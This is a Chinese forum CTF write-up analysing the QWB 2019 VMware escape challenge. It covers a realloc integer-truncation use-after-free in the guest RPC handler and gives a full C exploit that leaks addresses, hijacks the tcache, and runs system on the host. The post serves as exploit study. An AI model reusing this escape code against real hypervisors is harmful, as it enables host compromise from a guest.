问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
虚拟机逃逸(二)
CTF
强网杯2019 虚拟机逃逸分析
0x00 前言 ======= 初次分析虚拟机逃逸,之前分析了一篇rwctf2018,这次视线转到强网杯的一个虚拟机逃逸分析。难度比rw大一点点,但是逆向分析还是重点,所以也不会差到哪里去。 一些有关基础的链接放在这里,不做赘述。 [题解](https://nafod.net/blog/2019/12/21/station-escape-vmware-pwn.html) [RPC/backdoor机制](http://sysprogs.com/legacy/articles/kdvmware/guestrpc.shtml) 0x01 分析 ======= bindiff ------- 这类题目都会给一个patched的vmx文件,安装vmware后,在`/usr/lib/vmware/bin`目录下可以找到目标vmx。使用bindiff比较patched和patch之前的区别可以迅速定位漏洞的位置。 (bindiff分析太慢了,这次选择了010) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/06/attach-89eec2810b186d524efda555894cca9031ad35e7.png) 有三处不同,ida定位到关键位置。 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/06/attach-18b396ee70885b34dc4b57846efde51baa0d1a1f.png) 一处把r12d改成了r12w,相当于省略了r12的高位。 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/06/attach-b9b1beba56c3803f31e032d2c8476ce9c7d9fda8.png) 把跳转的条件改为了大于等于。 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/06/attach-a25862dfd05d6be26c03539e4ccba81caefc64ab.png) 跳转改为了无条件。 最后一个改变,取消了条件检查,前两处patch改变如下。 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/06/attach-2c772477f3bc5dde104c35b1d042d567f8c8da28.png) 本能的反应就是realloc函数的漏洞,这类题在常规pwn中很常见,realloc函数第二个size参数如果为0,则和free效果一样,常常会导致DF、UAF.接下来细看一下伪代码。 ida分析 ----- Vmx漏洞依然位于guestRPC的处理函数中,该函数中使用了一个大的switch处理不同的信息。接下来详细分析。(虚拟机逃逸(一)中只给了分析的结构体) 关于一些基础知识可以看\[虚拟机逃逸(一)\]() ### Open\_RPC\_channel ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/06/attach-1f4c153972dee2b077f41122e57c31023c87979c.png) 这是switch下最简单的一个分支了,打开信道,内容就是简单的接受数据包,然后获得magicnum(这部分是调试得到的) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/06/attach-4ac942da8b78bba6ed812cf7878a8b0b70561da5.png) magicnum会进行一个比较如果失败就直接退出。 ### Send\_RPC\_command\_length 首先判断`byte_FE9584`,也是一个魔数,接着就判断长度。 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/06/attach-3612cc7def195cc1c26ad8199975b01b1c452eb0.png) 长度为-1或者大于0x10000就会报错。如果RPCI的长度符合就会继续往下走。! ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/06/attach-38b67aa4103d4bfdb748b0cab800ba051690af6b.png) 在这个判断中,比较56和21偏移处的值,v56为接收到的数据包,v21为现有长度,如果数据长度大于现有长度则realloc重新分配,设置空间大小为新的大小,且修改msg\_struct。 漏洞就出在这个部分。漏洞存在的比较隐秘,大体属于整形溢出。 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/06/attach-ac0faf0ad5f12e77c733f85edc1914098b407865.png) 此处,处理size的时候加入了LOWORD修饰,导致dword->word高位失去,所以如果设置v56=0xffff则可以通过大小判断,然后LOWORD(0xffff+1)=LOWORD(0x10000)=0,则此时的realloc第二个参数为0,运行时重新回收ptr。也没有清0.导致了ptr的UAF利用。 ### Send\_RPC\_command\_data 首先读入了需要发送的data指令,然后读取RPCI结构体,根据前面设置的长度,以不同的方式发送msg,一次最多发送四个字节,四个字节以内发送的方式都是一个byte一个byte的复制。 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/06/attach-36a2bba083009f75ce800f244312c2430730e108.png) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/06/attach-b5ba2447ff1d948dcf05d645861baddbc9ae0718.png) 发送完指令之后,判断是否发送完,如果发送完了则进入指令处理,根据一个类似虚表的bss段指针,执行某个函数rw2018中,最后就是劫持了这样一个函数,让我们成功逃逸。 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/06/attach-163cb20a6e28b6d9bce90892deae335522c69b65.png) 处理完之后,flag标志为设置为1.具体的指令可以搜索字符串,之前分析的rw2018中也有相应的分析,这里就不赘述。 ### Recieve\_RPC\_reply\_length ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/06/attach-9589e548acbe430d797a4b712db305520f4cd8bd.png) guest获得,返回的长度,逻辑简单。 ### Recieve\_RPC\_reply\_data 执行指令之后返回的数据。 逻辑和发送差不多,同样的先收到长度,然后判断长度,一次接受四个字节,然后再把数据转移到缓冲区。最后设置flag为发送完毕。 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/06/attach-5554b4d6edff9e2280409f6bd2c8cd2c86fea21f.png) ### Finish\_receiving\_RPC\_reply & Close\_RPC\_channel 这两个部分也较为简单,前者在rw2018详细分析过,后者就是close channel。同时设置flag为1,整个指令处理发送接收流程结束。 ### 漏洞利用 前面说过了,漏洞存在于realloc中,利用该UAF可以造成泄露等操作。实际上leak和利用的思路还是和rw差不多的。 此处的UAF位置在realloc环节也就是设置发送长度的环节,但是造成UAF leak虚表还是需要先设置一个0x100大小的缓冲区。 - 开启channel A channel B - A设置buffer为0x100, B 使用info get也设置为0x100 - 然后set\_len触发A漏洞,B get这个buffer,A再次触发漏洞。此时B 的buffer已经在tcache里了 - 调用dnd\_vison函数写入虚表 - leak 漏洞利用也是和rw一样,直接tcache劫持即可 0x02 exp ======== 主要的流程还是复制rw2018的,改动少部分即可。还是对师傅的脚本分析 leak函数 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/06/attach-4b9fefc7745ee94ae07cccc09bfdcb91cf0fb928.png) 完整的channel 0 发送指令 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/06/attach-d6ac75d5867ddf6d2826a4909d4a23d798ecc4e9.png) channel发送部分info get ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/06/attach-a5dfc228eaf5bbe1046ff8828591417ae8e7d130.png) free channel 0 的buffer,然后在channel 1realloc出来。 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/06/attach-cf4ca0bca038198b936f068479e3d7c86b304719.png) 再次free ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/06/attach-6101b8e1bf488c5b22fc638bf5ee6759f7e47d59.png) dnd\_verison打入虚表 tcache劫持操作也是一样的,只是改掉了触发的位置。 ```c #include <stdio.h> #include <stdint.h> void channel_open(int *cookie1,int *cookie2,int *channel_num,int *res){ asm("movl %%eax,%%ebx\n\t" "movq %%rdi,%%r10\n\t" "movq %%rsi,%%r11\n\t" "movq %%rdx,%%r12\n\t" "movq %%rcx,%%r13\n\t" "movl $0x564d5868,%%eax\n\t" "movl $0x49435052,%%ebx\n\t" "movl $0x1e,%%ecx\n\t" "movl $0x5658,%%edx\n\t" "out %%eax,%%dx\n\t" "movl %%edi,(%%r10)\n\t" "movl %%esi,(%%r11)\n\t" "movl %%edx,(%%r12)\n\t" "movl %%ecx,(%%r13)\n\t" : : :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r8","%r10","%r11","%r12","%r13" ); } void channel_set_len(int cookie1,int cookie2,int channel_num,int len,int *res){ asm("movl %%eax,%%ebx\n\t" "movq %%r8,%%r10\n\t" "movl %%ecx,%%ebx\n\t" "movl $0x564d5868,%%eax\n\t" "movl $0x0001001e,%%ecx\n\t" "movw $0x5658,%%dx\n\t" "out %%eax,%%dx\n\t" "movl %%ecx,(%%r10)\n\t" : : :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10" ); } void channel_send_data(int cookie1,int cookie2,int channel_num,int len,char *data,int *res){ asm("pushq %%rbp\n\t" "movq %%r9,%%r10\n\t" "movq %%r8,%%rbp\n\t" "movq %%rcx,%%r11\n\t" "movq $0,%%r12\n\t" "1:\n\t" "movq %%r8,%%rbp\n\t" "add %%r12,%%rbp\n\t" "movl (%%rbp),%%ebx\n\t" "movl $0x564d5868,%%eax\n\t" "movl $0x0002001e,%%ecx\n\t" "movw $0x5658,%%dx\n\t" "out %%eax,%%dx\n\t" "addq $4,%%r12\n\t" "cmpq %%r12,%%r11\n\t" "ja 1b\n\t" "movl %%ecx,(%%r10)\n\t" "popq %%rbp\n\t" : : :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11","%r12" ); } void channel_recv_reply_len(int cookie1,int cookie2,int channel_num,int *len,int *res){ asm("movl %%eax,%%ebx\n\t" "movq %%r8,%%r10\n\t" "movq %%rcx,%%r11\n\t" "movl $0x564d5868,%%eax\n\t" "movl $0x0003001e,%%ecx\n\t" "movw $0x5658,%%dx\n\t" "out %%eax,%%dx\n\t" "movl %%ecx,(%%r10)\n\t" "movl %%ebx,(%%r11)\n\t" : : :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11" ); } void channel_recv_data(int cookie1,int cookie2,int channel_num,int offset,char *data,int *res){ asm("pushq %%rbp\n\t" "movq %%r9,%%r10\n\t" "movq %%r8,%%rbp\n\t" "movq %%rcx,%%r11\n\t" "movq $1,%%rbx\n\t" "movl $0x564d5868,%%eax\n\t" "movl $0x0004001e,%%ecx\n\t" "movw $0x5658,%%dx\n\t" "in %%dx,%%eax\n\t" "add %%r11,%%rbp\n\t" "movl %%ebx,(%%rbp)\n\t" "movl %%ecx,(%%r10)\n\t" "popq %%rbp\n\t" : : :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11","%r12" ); } void channel_recv_finish(int cookie1,int cookie2,int channel_num,int *res){ asm("movl %%eax,%%ebx\n\t" "movq %%rcx,%%r10\n\t" "movq $0x1,%%rbx\n\t" "movl $0x564d5868,%%eax\n\t" "movl $0x0005001e,%%ecx\n\t" "movw $0x5658,%%dx\n\t" "out %%eax,%%dx\n\t" "movl %%ecx,(%%r10)\n\t" : : :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10" ); } void channel_recv_finish2(int cookie1,int cookie2,int channel_num,int *res){ asm("movl %%eax,%%ebx\n\t" "movq %%rcx,%%r10\n\t" "movq $0x21,%%rbx\n\t" "movl $0x564d5868,%%eax\n\t" "movl $0x0005001e,%%ecx\n\t" "movw $0x5658,%%dx\n\t" "out %%eax,%%dx\n\t" "movl %%ecx,(%%r10)\n\t" : : :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10" ); } void channel_close(int cookie1,int cookie2,int channel_num,int *res){ asm("movl %%eax,%%ebx\n\t" "movq %%rcx,%%r10\n\t" "movl $0x564d5868,%%eax\n\t" "movl $0x0006001e,%%ecx\n\t" "movw $0x5658,%%dx\n\t" "out %%eax,%%dx\n\t" "movl %%ecx,(%%r10)\n\t" : : :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10" ); } struct channel{ int cookie1; int cookie2; int num; }; uint64_t heap =0; uint64_t text =0; void run_cmd(char *cmd){ struct channel tmp; int res,len,i; char *data; channel_open(&tmp.cookie1,&tmp.cookie2,&tmp.num,&res); if(!res){ printf("fail to open channel!\n"); return; } channel_set_len(tmp.cookie1,tmp.cookie2,tmp.num,strlen(cmd),&res); if(!res){ printf("fail to set len\n"); return; } channel_send_data(tmp.cookie1,tmp.cookie2,tmp.num,strlen(cmd)+0x10,cmd,&res); channel_recv_reply_len(tmp.cookie1,tmp.cookie2,tmp.num,&len,&res); if(!res){ printf("fail to recv data len\n"); return; } printf("recv len:%d\n",len); data = malloc(len+0x10); memset(data,0,len+0x10); for(i=0;i<len+0x10;i+=4){ channel_recv_data(tmp.cookie1,tmp.cookie2,tmp.num,i,data,&res); } printf("recv data:%s\n",data); channel_recv_finish(tmp.cookie1,tmp.cookie2,tmp.num,&res); if(!res){ printf("fail to recv finish\n"); } channel_close(tmp.cookie1,tmp.cookie2,tmp.num,&res); if(!res){ printf("fail to close channel\n"); return; } } void leak(){ struct channel chan[10]; int res=0; int len,i; char pay[8192]; char *s1 = "info-set guestinfo.a AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; char *data; char *s2 = "info-get guestinfo.a"; char *s21= "info-get guestinfo.a AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; char *s3 = "1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; char *s4 = "tools.capability.dnd_version 4"; char *s5 = "vmx.capability.dnd_version"; //init data run_cmd(s1); // set the message len to be 0x100, so when we call info-get ,we will call malloc(0x100); run_cmd(s4); //first step channel_open(&chan[0].cookie1,&chan[0].cookie2,&chan[0].num,&res); if(!res){ printf("fail to open channel!\n"); return; } channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s21),&res);//strlen(s21) = 0x100 if(!res){ printf("fail to set len\n"); return; } channel_send_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s21),s2,&res); channel_recv_reply_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,&len,&res); if(!res){ printf("fail to recv data len\n"); return; } printf("recv len:%d\n",len); data = malloc(len+0x10); memset(data,0,len+0x10); for(i=0;i<len+0x10;i++){ channel_recv_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,i,data,&res); } printf("recv data:%s\n",data); //second step free the reply and let the other channel get it. channel_open(&chan[1].cookie1,&chan[1].cookie2,&chan[1].num,&res); if(!res){ printf("fail to open channel!\n"); return; } channel_set_len(chan[1].cookie1,chan[1].cookie2,chan[1].num,strlen(s2),&res); if(!res){ printf("fail to set len\n"); return; } channel_send_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,strlen(s2)-4,s2,&res); if(!res){ printf("fail to send data\n"); return; } //free the output buffer //printf("Freeing the buffer....,bp:0x5555556DD3EF\n"); printf("now let's free\n"); channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,0xffff,&res); if(!res){ printf("fail to recv finish1\n"); return; } printf("then alloc channel 1\n"); //finished sending the command, should get the freed buffer printf("Finishing sending the buffer , should allocate the buffer..,bp:0x5555556DD5BC\n"); channel_send_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,4,&s2[16],&res); if(!res){ printf("fail to send data\n"); return; } printf("check if channel 1's buffer == channel 0's buffer\n"); //third step,free it again //set status to be 4 //free the output buffer printf("Free the buffer again...\n"); channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,0xffff,&res); if(!res){ printf("fail to recv finish2\n"); return; } printf("check the heap, our target buffer in tcache now!\nTrying to reuse the buffer as a struct, which we can leak..\n"); run_cmd(s5); printf("Should be done.Check the buffer\n"); //Now the output buffer of chan[1] is used as a struct, which contains many addresses channel_recv_reply_len(chan[1].cookie1,chan[1].cookie2,chan[1].num,&len,&res); if(!res){ printf("fail to recv data len\n"); return; } data = malloc(len+0x10); memset(data,0,len+0x10); for(i=0;i<len+0x10;i+=4){ channel_recv_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,i,data,&res); } printf("recv data:\n"); for(i=0;i<len;i+=8){ printf("recv data:%lx\n",*(long long *)&data[i]); } text = (*(uint64_t *)data)-0xf818d0; channel_recv_finish(chan[0].cookie1,chan[0].cookie2,chan[0].num,&res); printf("Leak Success\n"); } void exploit(){ //the exploit step is almost the same as the leak ones struct channel chan[10]; int res=0; int len,i; char *data; char *s1 = "info-set guestinfo.b BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"; char *s2 = "info-get guestinfo.b"; char *s3 = "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"; char *s4 = "gnome-calculator\x00"; uint64_t pay1 =text+0xFE95B8; uint64_t pay2 =text+0xECFE0; //system uint64_t pay3 =text+0xFE95C8; char *pay4 = "gnome-calculator\x00"; //run_cmd(s1); channel_open(&chan[0].cookie1,&chan[0].cookie2,&chan[0].num,&res); if(!res){ printf("fail to open channel!\n"); return; } channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s1),&res); if(!res){ printf("fail to set len\n"); return; } channel_send_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s1),s1,&res); channel_recv_reply_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,&len,&res); if(!res){ printf("fail to recv data len\n"); return; } printf("recv len:%d\n",len); data = malloc(len+0x10); memset(data,0,len+0x10); for(i=0;i<len+0x10;i+=4){ channel_recv_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,i,data,&res); } printf("recv data:%s\n",data); channel_open(&chan[1].cookie1,&chan[1].cookie2,&chan[1].num,&res); if(!res){ printf("fail to open channel!\n"); return; } channel_open(&chan[2].cookie1,&chan[2].cookie2,&chan[2].num,&res); if(!res){ printf("fail to open channel!\n"); return; } channel_open(&chan[3].cookie1,&chan[3].cookie2,&chan[3].num,&res); if(!res){ printf("fail to open channel!\n"); return; } printf("this time free firstly\n"); getchar(); channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,0xffff,&res); if(!res){ printf("fail to recv finish2\n"); return; } printf("already free check the heap\n"); getchar(); printf("alloc for channel 1\n"); getchar(); channel_set_len(chan[1].cookie1,chan[1].cookie2,chan[1].num,strlen(s3),&res); if(!res){ printf("fail to set len\n"); return; } printf("leak2 success\n"); getchar(); printf("free agin for UAF\n"); getchar(); channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,0xffff,&res); if(!res){ printf("fail to recv finish2\n"); return; } printf("UAF done!\n"); getchar(); printf("ready to change fd\n"); getchar(); channel_send_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,8,&pay1,&res); printf("hjacking!!\n"); getchar(); channel_set_len(chan[2].cookie1,chan[2].cookie2,chan[2].num,strlen(s3),&res); if(!res){ printf("fail to set len\n"); return; } printf("target address in fd\n"); getchar(); channel_set_len(chan[3].cookie1,chan[3].cookie2,chan[3].num,strlen(s3),&res); channel_send_data(chan[3].cookie1,chan[3].cookie2,chan[3].num,8,&pay2,&res); channel_send_data(chan[3].cookie1,chan[3].cookie2,chan[3].num,8,&pay3,&res); channel_send_data(chan[3].cookie1,chan[3].cookie2,chan[3].num,strlen(pay4)+1,pay4,&res); printf("success!\n"); getchar(); run_cmd(s4); if(!res){ printf("fail to set len\n"); return; } } void main(){ setvbuf(stdout,0,2,0); setvbuf(stderr,0,2,0); setvbuf(stdin,0,2,0); leak(); printf("text base :%p",text); getchar(); getchar(); exploit(); } ``` 0x03 调试 ======= 把断点放在realloc的位置,方便查看realloc后的堆布局。 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/06/attach-c15bb21f3a9a8d61cee8d1679228e3378e2a5c53.png) 在第一次free的位置看到了目标chunk,`0x7f797803a890`,这个chunk就是我们要复用的chunk。此次realloc结束,应该被挂进tcache。 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/06/attach-5f6609f03fbf2c05e9a32233dda512666ac8401a.png) 整个chunk的内容,可以看到大小是0x115,这里不知道为啥,连地址都没对齐。 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/06/attach-558cbd15fff8d78e9d81193abbc1855318dc2976.png) 单步执行之后,看到被挂进tcache的chunk。当channel 1,alloc取出这块chunk的时候,没有触发到realloc,直接走过去了。所以没断下来。因该在if的判断位置加一个断点,查看堆布局的。 不过此时可以看一下目标chunk的内容,有没有被改变。 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/06/attach-af593aa4f5b88482d210904f17b6bbbdca1fff56.png) 可以看到被挂上了熟悉的fd,但是却没有在相应的tcache里面,则可以推断,该chunk已经是alloc状态了。 继续执行,第二次free。 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/06/attach-cf83f7ba2ba709b640e4e31c373f2f4ce8374f6e.png) 此次realloc依然触发free。 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/06/attach-90ca8fba0d3563f28628ce7e637ba491a0af2167.png) chunk被挂进了tcache,然后下一步执行dnd\_version应该会把chunk取出,然后把虚表指针写入。 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/06/attach-3af68edeb6ac636b641ed4f28699a57cf02635d0.png) 成功写入,接下来就是改写system的过程。 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/06/attach-fbcde0816cf86bb685d83ddcd650d26b20807683.png) channel 0的第一次free,记住chunk地址,0x7fa59c028e20,然后和leak一眼,对channel 1的UAF。 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/06/attach-b5c0c0dd42f4ab7ab018faf0a5ff2962d73667f5.png) 劫持成功,但是此时tcache中却看不到,可能heapinfo有点问题。 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/06/attach-08e8e166fe38c1669ae4f225b82c46399d34c220.png) 计算偏移后,目标位置被打入tcache的fd中,然后就是常规利用。把该内存malloc出来。然后写入system ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/06/attach-babc2811b8fd15b84ebcde28aab4e8a3ad4d017e.png) 成功写入system,继续执行,然后弹出计算器。 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/06/attach-b49b8f237dd3d59e57968a503942f5b52a884c87.png) 0x05 思考 ======= emm,调试总是遇到一些问题,有时候挂上gdb,leak出来的基址就不对了。。。离谱,不知道为什么。想到的办法是,先发送完payload,然后再attach上去,exp和leak部分分开调试。 还有虚拟机的vmx,移动的时候,权限关系,可能导致打不开虚拟机,只有使用sudo vmware才可以打开,不过这样打开的虚拟机,最后可以成功leak和执行,但是弹不出计算器,也就是命令执行失败,报错报了虚拟化错误,搞了好久没解决,最后也是莫名其妙的突然解决了。 两个vm类型的虚拟机逃逸收获很大,逆向的基础牢固了许多,realworld类的题目和CTF还是有很多差别,前者需要很好的逆向功底和对目标的熟悉,后者更多是技巧上的利用。
发表于 2022-06-21 09:43:34
阅读 ( 5762 )
分类:
漏洞分析
2 推荐
收藏
1 条评论
ppx
2022-06-21 15:06
大佬tql
请先
登录
后评论
请先
登录
后评论
就叫16385吧
11 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!